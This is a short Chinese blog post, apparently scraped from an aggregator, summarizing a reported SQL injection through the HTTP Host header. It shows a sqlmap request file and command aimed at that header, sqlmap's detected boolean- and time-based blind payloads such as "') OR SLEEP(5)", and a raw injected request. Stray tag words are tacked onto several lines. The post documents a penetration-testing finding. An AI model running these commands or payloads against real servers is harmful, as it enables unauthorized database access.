對 HTTP 請求的 Host 參數進行 SQL 注入

最近收到了一個漏洞通報,竟然是對 HTTP 請求的 Host 參數進行 SQL 注入,比較有趣,須要總結一下。mysql

以下是通過簡化的具體的滲透測試命令,假設主機名爲 aaa.bbb.ccc:sql

$ more sql.txt   
GET / HTTP/1.1
Host: aaa.bbb.ccc*

$ sqlmap --host http://aaa.bbb.ccc -r sql.txt --random-agent -p Host --risk 3 --dbms mysql  --current-user --is-dba —tables
...
sqlmap identified the following injection point(s) with a total of 306 HTTP(s) requests:
---
Parameter: Host #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: -6117') OR 9754=9754 AND ('EXWO'='EXWO

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: aaa.bbb.ccc') OR SLEEP(5) AND ('UnAw'='UnAw
---
...

滲透過程當中 sqlmap 會生成相似以下的 HTTP 請求,以進行 SQL 注入測試,經過 -v3 參數能夠看到:dom

GET / HTTP/1.1
Host: aaa.bbb.ccc') OR SLEEP(5) AND ('hxje'='hxje
Referer: http://aaa.bbb.ccc:80/
User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8
Connection: close

正常狀況下,使用 --level 3 參數時 sqlmap 會測試一些 HTTP 請求頭的參數,但不會測試 Host 參數,因此須要使用 -p Host 參數來指定測試。ide

此外因爲 Host 參數與僞靜態頁面相似,因此還須要用 * 星號標記一下注入點。測試

相關文章
相關標籤/搜索